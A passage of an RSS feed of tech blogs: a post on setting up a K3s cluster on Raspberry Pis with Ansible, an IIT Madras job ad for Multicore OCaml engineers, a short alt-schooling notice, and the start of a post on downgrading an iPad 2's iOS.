Next, we’ll come to the actual stuff, where we’ll download K3s binary and run as a systemd service. There’s a handy shell script to bootstrap the cluster provided by the Rancher team which setups the whole thing in one command. But if you wanna learn/play around I’d recommend you do things the hard way (it’s not all that hard tho. ((twss!)).
- name: Download k3s binary armhf
  get_url:
    url: https://github.com/rancher/k3s/releases/download/{{ k3s_version }}/k3s-armhf
    dest: /usr/local/bin/k3s
    owner: root
    group: root
    mode: 755
  when: ( ansible_facts.architecture is search("arm") )
    and
    ( ansible_facts.userspace_bits == "32" )
On the worker node, the process is similar, except you have to run the K3s with agent compared to server argument in the control plane. Things get a bit interesting here though. You need to give the cluster server URL along with it’s token in the command. A unique token is generated by the server at (/var/lib/rancher/k3s/server/node-token) which is used to join the worker nodes.
I did a bit of google-fu and got to know about this neat little Ansible module set_fact which lets you “store” a variable from one host and use it in a second host. Every Ansible host maintains a Python dict of “host facts”. In the second node, I access the cluster’s host fact dict, fetch the variable and use it in its systemd service template. Neat, ain’t it? Ansible has so many modules, it is mind-boggling.
Reading and storing the variable as a “host” fact:
# on the cluster
- name: Read node-token from control node
  slurp:
    src: /var/lib/rancher/k3s/server/node-token
  register: node_token

- name: Store control node-token
  set_fact:
    k3s_cluster_token: "{{ node_token.content | b64decode | regex_replace('\n', '') }}"
Using the variable from the server host, in a template on the agent host:
# on the agent (vars.yml)
k3s_server_address: "{{ hostvars[groups['control'][0]].k3s_server_address }}"
k3s_cluster_token: "{{ hostvars[groups['control'][0]].k3s_cluster_token }}"
# use the value in a template
...
[Service]
ExecStart=/usr/local/bin/k3s agent --server {{ k3s_server_address }} --token {{ k3s_cluster_token }}
...
P.S. Shoutout to Ansible tho. It is one of my fav infra tooling available out there. It has some gotchas that you need to be aware of but by and large, the experience has been quite pleasant.
On the cluster, you should be able to see the nodes.


Team #SelfHost#
I am planning to host Bitwarden, Gitea and a Nextcloud instance on this cluster. Also will be using this as a testbed to play around with K8s internals. Stay tuned as I explore more of this!
Cheers! :)]]></description>
            <content:encoded><![CDATA[<p>So, I got hold of 2 Raspberry Pi4 (still limited stocks in India) recently and wanted to build a Kubernetes cluster. Don’t ask why cause that would be pointless. I’ve little experience with a managed Kubernetes workload (Amazon EKS, which btw deserves its post 😝) but never really played around any of the K8s internal stuff yet. In this post, I’ll show you how I got a lightweight Kubernetes distro: K3s up and running.</p>
<p><a rel="external" href="https://k3s.io/">k3s</a> is a pretty great Kubernetes distro which passes the K8s Conformance tests. On ARM architectures, you’re pretty much resource-bounded and you want the resource footprint of your infra to be as minimal as possible. In k3s there are a few changes such as the persistent layer of K8s is replaced with SQLite instead of etcd, unusable (legacy/alpha) features of K8s are removed and cloud-provider plugins are not bundled (but can be installed separately). All of this together means just 40MB of a binary to run the cluster and ~250MB of memory usage on an idle cluster. Awesome, team <a rel="external" href="http://rancher.com">Rancher</a> :)</p>
<p><img src="https://mrkaran.dev/images/k3s-htop.png" alt="image" /></p>
<p>Automation is the key and even though I have just 2 nodes on RPi, I <em>Ansible-ized</em> the setup which I am hoping would save time in future if I add more nodes to the setup.</p>
<h2 id="hardware">Hardware<a class="zola-anchor" href="#hardware" aria-label="Anchor link for: hardware">#</a></h2>
<ul>
<li>1x <a rel="external" href="https://www.crazypi.com/raspberry-pi-products/raspberry-pi-latest-model-boards/raspberry-pi-4-4gb-india">RPi4 4GB</a> and 1x <a rel="external" href="https://www.crazypi.com/raspberry-pi-products/raspberry-pi-latest-model-boards/raspberry-pi-4-2gb-india">RPi4 2GB</a> variant</li>
<li>2x <a rel="external" href="https://www.amazon.in/gp/product/B06Y63B51W/ref=ppx_yo_dt_b_asin_title_o04_s00?ie=UTF8&amp;psc=1">Samsung EVO micro SD Card</a></li>
<li>2x <a rel="external" href="https://www.amazon.in/gp/product/B01GGKYKQM/ref=ppx_yo_dt_b_asin_title_o00_s00?ie=UTF8&amp;psc=1">USBC Cables</a></li>
<li>1x <a rel="external" href="https://www.amazon.in/gp/product/B00P933OJC/ref=ppx_yo_dt_b_asin_title_o06_s01?ie=UTF8&amp;psc=1">Amker Power Port</a> (don’t compromise on the power supply, give enough juice so RPi doesn’t throttle)</li>
<li>1x <a rel="external" href="https://www.amazon.in/gp/product/9800359788/ref=ppx_yo_dt_b_asin_title_o07_s00?ie=UTF8&amp;psc=1">TP-Link Network Switch</a> (my router has only 1 usable LAN port)</li>
<li>2x <a rel="external" href="https://www.amazon.in/gp/product/B00GZLJ3EM/ref=ppx_yo_dt_b_asin_title_o01_s00?ie=UTF8&amp;psc=1">CAT5 LAN cables</a> (keeping it basic, you can get fancy flat LAN cables if you wish to)</li>
</ul>
<p>This is how the final setup looks like:</p>
<p>{{&lt; tweet 1175659256764219392 &gt;}}</p>
<h3 id="setting-up-rpi">Setting up RPi<a class="zola-anchor" href="#setting-up-rpi" aria-label="Anchor link for: setting-up-rpi">#</a></h3>
<p>I downloaded <a rel="external" href="https://www.raspberrypi.org/downloads/raspbian/">Raspbian Buster Lite</a> because it’s the easiest to setup. Next step is to flash the SD card and for that, I used <a rel="external" href="https://www.balena.io/etcher/">Etcher</a>.</p>
<p><img src="https://mrkaran.dev/images/etcher.png" alt="image" /></p>
<p>To enable SSH access, you need to create an empty file <code>ssh</code> in the root volume.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> touch</span><span style="color: light-dark(#032F62, #96D0FF);"> /boot/ssh</span></span></code></pre>
<p>Once all sorted, we can use Ansible to set up the basic OS stuff, like changing the default password, enabling password-less SSH login, timezone &amp; locale settings, changing hostname etc. I’ll be sharing relevant Ansible snippets, if interested you can check out the complete playbook at <a rel="external" href="https://github.com/mr-karan/hydra">mr-karan/hydra repo</a>.</p>
<p>We need to enable container features on the RPi so that <code>containerd</code> can run. Containers like Docker make use of <code>cgroups</code> (Linux kernel feature) which allows them to put resource limits on container processes like CPU and Memory. To enable <code>cgroups</code>, you need to edit <code>/boot/cmdline.txt</code>.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span>-</span><span style="color: light-dark(#22863A, #8DDB8C);"> n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> A</span><span style="color: light-dark(#032F62, #96D0FF);">dd cgroup directives to boot command line config</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  l</span><span style="color: light-dark(#22863A, #8DDB8C);">ineinfile</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    p</span><span style="color: light-dark(#22863A, #8DDB8C);">ath</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span><span style="color: light-dark(#032F62, #96D0FF);">boot/cmdline.txt</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    r</span><span style="color: light-dark(#22863A, #8DDB8C);">egexp</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">((.)+?)(\scgroup_\w+=\w+)*$</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    l</span><span style="color: light-dark(#22863A, #8DDB8C);">ine</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">\1 cgroup_enable=cpuset cgroup_memory=1 cgroup_enable=memory</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    b</span><span style="color: light-dark(#22863A, #8DDB8C);">ackrefs</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> yes</span></span></code></pre>
<p>Quick Tip: If you’re going to use RPi as a headless server (not connecting with any monitor) you can reduce the GPU Memory to lowest possible (16M)</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span>-</span><span style="color: light-dark(#22863A, #8DDB8C);"> n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> S</span><span style="color: light-dark(#032F62, #96D0FF);">et GPU memory split to 16 MB</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  l</span><span style="color: light-dark(#22863A, #8DDB8C);">ineinfile</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    p</span><span style="color: light-dark(#22863A, #8DDB8C);">ath</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span><span style="color: light-dark(#032F62, #96D0FF);">boot/config.txt</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    l</span><span style="color: light-dark(#22863A, #8DDB8C);">ine</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">gpu_mem=16</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    c</span><span style="color: light-dark(#22863A, #8DDB8C);">reate</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> yes</span></span></code></pre><h3 id="deploy-k3s-cluster">Deploy K3s cluster<a class="zola-anchor" href="#deploy-k3s-cluster" aria-label="Anchor link for: deploy-k3s-cluster">#</a></h3>
<p>Next, we’ll come to the actual stuff, where we’ll download K3s binary and run as a systemd service. There’s a handy <a rel="external" href="https://github.com/rancher/k3s#quick-start---install-script">shell script</a> to bootstrap the cluster provided by the Rancher team which setups the whole thing in one command. But if you wanna learn/play around I’d recommend you do things the hard way (it’s not all that hard tho. ((twss!)).</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span>-</span><span style="color: light-dark(#22863A, #8DDB8C);"> n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> D</span><span style="color: light-dark(#032F62, #96D0FF);">ownload k3s binary armhf</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  g</span><span style="color: light-dark(#22863A, #8DDB8C);">et_url</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    u</span><span style="color: light-dark(#22863A, #8DDB8C);">rl</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> h</span><span style="color: light-dark(#032F62, #96D0FF);">ttps://github.com/rancher/k3s/releases/download/{{ k3s_version }}/k3s-armhf</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    d</span><span style="color: light-dark(#22863A, #8DDB8C);">est</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span><span style="color: light-dark(#032F62, #96D0FF);">usr/local/bin/k3s</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    o</span><span style="color: light-dark(#22863A, #8DDB8C);">wner</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> r</span><span style="color: light-dark(#032F62, #96D0FF);">oot</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    g</span><span style="color: light-dark(#22863A, #8DDB8C);">roup</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> r</span><span style="color: light-dark(#032F62, #96D0FF);">oot</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    m</span><span style="color: light-dark(#22863A, #8DDB8C);">ode</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 755</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  w</span><span style="color: light-dark(#22863A, #8DDB8C);">hen</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> (</span><span style="color: light-dark(#032F62, #96D0FF);"> ansible_facts.architecture is search(&quot;arm&quot;) )</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    a</span><span style="color: light-dark(#032F62, #96D0FF);">nd</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    (</span><span style="color: light-dark(#032F62, #96D0FF);"> ansible_facts.userspace_bits == &quot;32&quot; )</span></span></code></pre>
<p>On the worker node, the process is similar, except you have to run the K3s with <code>agent</code> compared to <code>server</code> argument in the control plane. Things get a bit interesting here though. You need to give the cluster server URL along with it’s token in the command. A unique token is generated by the server at (<code>/var/lib/rancher/k3s/server/node-token</code>) which is used to join the worker nodes.</p>
<p>I did a bit of google-fu and got to know about this neat little Ansible module <a rel="external" href="https://docs.ansible.com/ansible/latest/modules/set_fact_module.html"><code>set_fact</code></a> which lets you “store” a variable from one host and use it in a second host. Every Ansible host maintains a Python dict of “host facts”. In the second node, I access the cluster’s host fact <code>dict</code>, fetch the variable and use it in its systemd service template. Neat, ain’t it? Ansible has so many modules, it is mind-boggling.</p>
<p><em>Reading and storing the variable as a “host” fact</em>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> on the cluster</span></span>
<span class="giallo-l"><span>-</span><span style="color: light-dark(#22863A, #8DDB8C);"> n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> R</span><span style="color: light-dark(#032F62, #96D0FF);">ead node-token from control node</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  s</span><span style="color: light-dark(#22863A, #8DDB8C);">lurp</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    s</span><span style="color: light-dark(#22863A, #8DDB8C);">rc</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span><span style="color: light-dark(#032F62, #96D0FF);">var/lib/rancher/k3s/server/node-token</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  r</span><span style="color: light-dark(#22863A, #8DDB8C);">egister</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> n</span><span style="color: light-dark(#032F62, #96D0FF);">ode_token</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>-</span><span style="color: light-dark(#22863A, #8DDB8C);"> n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> S</span><span style="color: light-dark(#032F62, #96D0FF);">tore control node-token</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  s</span><span style="color: light-dark(#22863A, #8DDB8C);">et_fact</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    k</span><span style="color: light-dark(#22863A, #8DDB8C);">3s_cluster_token</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">{{ node_token.content | b64decode | regex_replace(&#39;</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;, &#39;&#39;) }}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span></code></pre>
<p><em>Using the variable from the server host, in a template on the agent host</em>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> on the agent (vars.yml)</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">k</span><span style="color: light-dark(#22863A, #8DDB8C);">3s_server_address</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">{{ hostvars[groups[&#39;control&#39;][0]].k3s_server_address }}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">k</span><span style="color: light-dark(#22863A, #8DDB8C);">3s_cluster_token</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">{{ hostvars[groups[&#39;control&#39;][0]].k3s_cluster_token }}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> use the value in a template</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #6CB6FF);">...</span></span>
<span class="giallo-l"><span>[</span><span style="color: light-dark(#032F62, #96D0FF);">S</span><span style="color: light-dark(#032F62, #96D0FF);">ervice</span><span>]</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">E</span><span style="color: light-dark(#032F62, #96D0FF);">xecStart=/usr/local/bin/k3s agent --server {{ k3s_server_address }} --token {{ k3s_cluster_token }}</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #6CB6FF);">...</span></span></code></pre>
<p>P.S. Shoutout to Ansible tho. It is one of my fav infra tooling available out there. It has some gotchas that you need to be aware of but by and large, the experience has been quite pleasant.</p>
<p>On the cluster, you should be able to see the nodes.</p>
<p><img src="https://mrkaran.dev/images/kube-nodes.png" alt="image" /></p>
<p><img src="https://media3.giphy.com/media/5GoVLqeAOo6PK/giphy.gif?cid=790b7611e1db0c17c4edaa597551fe748d1f3131429f424b&amp;rid=giphy.gif" alt="image" /></p>
<h3 id="team-selfhost">Team #SelfHost<a class="zola-anchor" href="#team-selfhost" aria-label="Anchor link for: team-selfhost">#</a></h3>
<p>I am planning to host Bitwarden, Gitea and a Nextcloud instance on this cluster. Also will be using this as a testbed to play around with K8s internals. Stay tuned as I explore more of this!</p>
<p>Cheers! :)</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Multicore OCaml Jobs]]></title>
            <link>https://kcsrk.info/ocaml/multicore/job/2019/09/16/1115-multicore-job/</link>
            <guid isPermaLink="false">https://kcsrk.info/ocaml/multicore/job/2019/09/16/1115-multicore-job/</guid>
            <pubDate>Mon, 16 Sep 2019 11:59:00 GMT</pubDate>
            <description><![CDATA[Multiple Research Software Engineer positions are available in the
Department of Computer Science and Engineering at
the Indian Institute of Technology, Madras to develop
Multicore OCaml and enable
Tezos ecosystem to benefit from Multicore OCaml.
 A dog, a deer and a monkey walk into a coffee shop... 



Background
The Multicore OCaml project aims to add native support for scalable concurrency
and shared memory parallelism in OCaml. At its core, Multicore OCaml extends the
OCaml programming language with effect handlers for expressing scalable
concurrency and a high-performance concurrent garbage collector aimed at
responsive networked applications. Multicore OCaml is also the first
industrial-strength language to come equipped with an efficient yet modular
memory model, allowing high-level local program reasoning while retaining
performance. Multicore OCaml is actively being developed and core features are
being upstreamed to OCaml.
Tezos is an open-source smart contract platform for decentralized applications
and assets. Tezos uses a self-amending cryptographic ledger - It achieves
consensus not just about the state of a ledger, but about the state of its own
protocol. The primary protocol of Tezos utilizes proof of stake and supports
Turing complete smart contracts in a domain-specific language called Michelson.
Tezos codebase is written in OCaml and extensively uses OCaml ecosystem
libraries and tools such as Lwt, OPAM, and Irmin.
Roles
There are two roles:
Compiler Engineer: Runtime system improvements to the OCaml programming
language in order to make it compatible with multicore support. Implementing
new features in Multicore OCaml compiler.
Application Engineer: Developing core OCaml libraries that take advantage
of multicore support. Adding parallelism support for Tezos ecosystem libraries
and tools such as Lwt, Irmin, and dune.
Positions
The positions available are:
Role
      Minimum Qualification
      Pay Range (Per Month)
    
Project Engineer
      BE / BTech / Master’s in Science/MCA or equivalent
      Rs.21,500 to Rs.75,000
    
Senior Project Engineer
      ME / MTech (or) BE / BTech / Master’s in Science / MCA or equivalent with 2 years experience
      Rs.27,500 to Rs.1,00,000
    
Senior Project Officer / Post-doctoral Researcher
      Ph.D. in Engineering or Sciences (or) ME / MTech with 3 years experience (or) BE / BTech / Master’s in Science / MCA or equivalent with 5 years experience
      Rs.35,000 to Rs.1,50,000
    
Principal Project Officer
      Ph.D. in Engineering or Sciences with 7 years experience (or) ME / MTech with 10 years experience (or) BE / BTech / Master’s in Science / MCA or equivalent with 12 years experience
      Rs. 48,000 to Rs.2,25,000
    
The appointment will be made for 6 months initially and can be extended up to 2
years. The project engineers have the option of enrolling in the MS program at
CSE, IIT Madras after 6 months. Such candidates may appear to the interview
directly, without having to write GATE.
You will work closely with the OCaml Labs group,
University of Cambridge, UK and Tarides, France. All of
the work done will be made available as liberally licensed open-source software.
Skills
Compiler Engineer
Necessary:
Excellent working knowledge of C, concurrent and parallel programming
Knowledge of compilers (not necessarily of functional programming languages),
operating systems, x86 & ARM assembly programming
Desired:
Experience developing and/or maintaining performant software systems
Experience with a functional programming language such as Haskell, OCaml,
Scala, Scheme, Elm, or Elixir.
Track record of open source contributions.
Understanding of benchmarking techniques and analyzing results
Applications Engineer
Necessary
Excellent working knowledge of operating systems, concurrent and parallel
programming
Experience with a functional programming language such as Haskell, OCaml,
Scala, Scheme, Elm, or Elixir.
Desired
Track record of contributions to large open-source software systems
Understanding of benchmarking techniques and analyzing results
Apply
Write to kcsrk@iitm.ac.in with the subject “IITM Multicore OCaml 2019:
Compiler Engineer” or “IITM Multicore OCaml 2019: Application Engineer” based on
the role to express interest. Please include:
Curriculum Vitae
A summary of your experience in relevant technologies and software
Any open source contributions]]></description>
            <content:encoded><![CDATA[<p>Multiple <strong>Research Software Engineer</strong> positions are available in the
<a href="https://www.cse.iitm.ac.in/">Department of Computer Science and Engineering</a> at
the <a href="https://www.iitm.ac.in/">Indian Institute of Technology, Madras</a> to develop
<a href="https://github.com/ocaml-multicore/ocaml-multicore">Multicore OCaml</a> and enable
<a href="https://tezos.com/">Tezos</a> ecosystem to benefit from Multicore OCaml.</p>

<!--more-->

<center>
<figure>
<img src="https://kcsrk.info/assets/dog_deer_monkey.jpg" width="75%" />
<figcaption> A dog, a deer and a monkey walk into a coffee shop... </figcaption>
</figure>
</center>

<h2 id="background">Background</h2>

<p>The Multicore OCaml project aims to add native support for scalable concurrency
and shared memory parallelism in OCaml. At its core, Multicore OCaml extends the
OCaml programming language with effect handlers for expressing scalable
concurrency and a high-performance concurrent garbage collector aimed at
responsive networked applications. Multicore OCaml is also the first
industrial-strength language to come equipped with an efficient yet modular
memory model, allowing high-level local program reasoning while retaining
performance. Multicore OCaml is actively being developed and core features are
being upstreamed to OCaml.</p>

<p>Tezos is an open-source smart contract platform for decentralized applications
and assets. Tezos uses a self-amending cryptographic ledger - It achieves
consensus not just about the state of a ledger, but about the state of its own
protocol. The primary protocol of Tezos utilizes proof of stake and supports
Turing complete smart contracts in a domain-specific language called Michelson.
Tezos codebase is written in OCaml and extensively uses OCaml ecosystem
libraries and tools such as Lwt, OPAM, and Irmin.</p>

<h2 id="roles">Roles</h2>

<p>There are two roles:</p>

<ul>
  <li><strong>Compiler Engineer:</strong> Runtime system improvements to the OCaml programming
language in order to make it compatible with multicore support. Implementing
new features in Multicore OCaml compiler.</li>
  <li><strong>Application Engineer:</strong> Developing core OCaml libraries that take advantage
of multicore support. Adding parallelism support for Tezos ecosystem libraries
and tools such as Lwt, Irmin, and dune.</li>
</ul>

<h3 id="positions">Positions</h3>

<p>The positions available are:</p>

<table>
  <thead>
    <tr>
      <th>Role</th>
      <th>Minimum Qualification</th>
      <th>Pay Range (Per Month)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Project Engineer</td>
      <td>BE / BTech / Master’s in Science/MCA or equivalent</td>
      <td>Rs.21,500 to Rs.75,000</td>
    </tr>
    <tr>
      <td>Senior Project Engineer</td>
      <td>ME / MTech (or) BE / BTech / Master’s in Science / MCA or equivalent with 2 years experience</td>
      <td>Rs.27,500 to Rs.1,00,000</td>
    </tr>
    <tr>
      <td>Senior Project Officer / Post-doctoral Researcher</td>
      <td>Ph.D. in Engineering or Sciences (or) ME / MTech with 3 years experience (or) BE / BTech / Master’s in Science / MCA or equivalent with 5 years experience</td>
      <td>Rs.35,000 to Rs.1,50,000</td>
    </tr>
    <tr>
      <td>Principal Project Officer</td>
      <td>Ph.D. in Engineering or Sciences with 7 years experience (or) ME / MTech with 10 years experience (or) BE / BTech / Master’s in Science / MCA or equivalent with 12 years experience</td>
      <td>Rs. 48,000 to Rs.2,25,000</td>
    </tr>
  </tbody>
</table>

<p>The appointment will be made for 6 months initially and can be extended up to 2
years. The project engineers have the option of enrolling in the MS program at
CSE, IIT Madras after 6 months. Such candidates may appear to the interview
directly, without having to write GATE.</p>

<p>You will work closely with the <a href="http://ocamllabs.io/">OCaml Labs group</a>,
University of Cambridge, UK and <a href="https://tarides.com/">Tarides</a>, France. All of
the work done will be made available as liberally licensed open-source software.</p>

<h2 id="skills">Skills</h2>

<h3 id="compiler-engineer">Compiler Engineer</h3>

<h4 id="necessary">Necessary:</h4>
<ul>
  <li>Excellent working knowledge of C, concurrent and parallel programming</li>
  <li>Knowledge of compilers (not necessarily of functional programming languages),
operating systems, x86 &amp; ARM assembly programming</li>
</ul>

<h4 id="desired">Desired:</h4>
<ul>
  <li>Experience developing and/or maintaining performant software systems</li>
  <li>Experience with a functional programming language such as Haskell, OCaml,
Scala, Scheme, Elm, or Elixir.</li>
  <li>Track record of open source contributions.</li>
  <li>Understanding of benchmarking techniques and analyzing results</li>
</ul>

<h3 id="applications-engineer">Applications Engineer</h3>

<h4 id="necessary-1">Necessary</h4>

<ul>
  <li>Excellent working knowledge of operating systems, concurrent and parallel
programming</li>
  <li>Experience with a functional programming language such as Haskell, OCaml,
Scala, Scheme, Elm, or Elixir.</li>
</ul>

<h4 id="desired-1">Desired</h4>

<ul>
  <li>Track record of contributions to large open-source software systems</li>
  <li>Understanding of benchmarking techniques and analyzing results</li>
</ul>

<h2 id="apply">Apply</h2>

<p>Write to <code class="language-plaintext highlighter-rouge">kcsrk@iitm.ac.in</code> with the subject “IITM Multicore OCaml 2019:
Compiler Engineer” or “IITM Multicore OCaml 2019: Application Engineer” based on
the role to express interest. Please include:</p>

<ol>
  <li>Curriculum Vitae</li>
  <li>A summary of your experience in relevant technologies and software</li>
  <li>Any open source contributions</li>
</ol>
]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[Swayam – a chance to meet alt-schoolers]]></title>
            <link>https://www.prashanthudupa.com/swayam-a-chance-to-meet-alt-schoolers/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/swayam-a-chance-to-meet-alt-schoolers/</guid>
            <pubDate>Wed, 28 Aug 2019 12:22:15 GMT</pubDate>
            <description><![CDATA[Omnio Parenting is a group of people (adults and children) dedicated to the exploration of new ways of schooling and learning. Many of the people from this group are also part of Temple Of Excellence, a learning centre in Bengaluru...]]></description>
            <content:encoded><![CDATA[Omnio Parenting is a group of people (adults and children) dedicated to the exploration of new ways of schooling and learning. Many of the people from this group are also part of Temple Of Excellence, a learning centre in Bengaluru...]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Unschooling</category>
        </item>
        <item>
            <title><![CDATA[Downgrading my iPad 2 to iOS 8]]></title>
            <link>https://captnemo.in/blog/2019/08/11/ipad-downgrade-ios-6-8/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2019/08/11/ipad-downgrade-ios-6-8/</guid>
            <pubDate>Sun, 11 Aug 2019 00:00:00 GMT</pubDate>
            <description><![CDATA[Update: Apple is no longer signing iOS6 for the iPad 2, so this is no longer feasible.
I own a iPad 2 (GSM), which is rarely used these days because it is too slow with the latest iOS 9 upgrades. It is a 8 year old device, but I can’t just install Linux on it and make it usable, which is what I do with most other devices.
The next best thing was to downgrade the iOS version. The device is anyway un-supported at this point, so I might as well go there. Apple has restrictions on which iOS releases are installable at any point on any device, ~but thankfully they are still signing iOS6 for my device for some legal reasons~.
Steps:
Download the iOS firmware for your device from https://ipsw.me/#platform
Launch iTunes
Option+Click on the Restore button in iTunes
Select the file you just downloaded.
Disable iCloud on the device
Upgrade to iOS8
This is possible as long as Apple is signing the IPSW for your device. The case of iOS6 being signed seems to be true for:
iPhone 4S
iPad 2
Security Notes
Running an unsupported OS is not something I take lightly. Here’s a list of defensive measures I took to ensure that I’m not at risk while doing so:
Try to keep the device always in Airplane mode.
Keep sensitive data off the device. No photos/keychain sync for eg. Don’t enable Calendar/Contact/Media sync.
Enable Restrictions on the device:
    
Restrict Safari to limited websites.
Disable application installs.
Disable iTunes store/iBooks store etc.
Disable GPS/Bluetooth.
Limit Background Refresh to very few trusted applications.
Limit number of applications (I only have Kybooks installed).
Disable Javascript on Safari.
If possible, I’d recommend using a separate Apple Account on the device.]]></description>
            <content:encoded><![CDATA[<p><em>Update</em>: Apple is no longer signing iOS6 for the iPad 2, so this is no longer feasible.</p>

<p>I own a iPad 2 (GSM), which is rarely used these days because it is too slow with the latest iOS 9 upgrades. It is a 8 year old device, but I can’t just install Linux on it and make it usable, which is what I do with most other devices.</p>

<p>The next best thing was to downgrade the iOS version. The device is anyway un-supported at this point, so I might as well go there. Apple has restrictions on which iOS releases are installable at any point on any device, ~but thankfully they are still signing iOS6 for my device for some legal reasons~.</p>

<h2 id="steps">Steps:</h2>

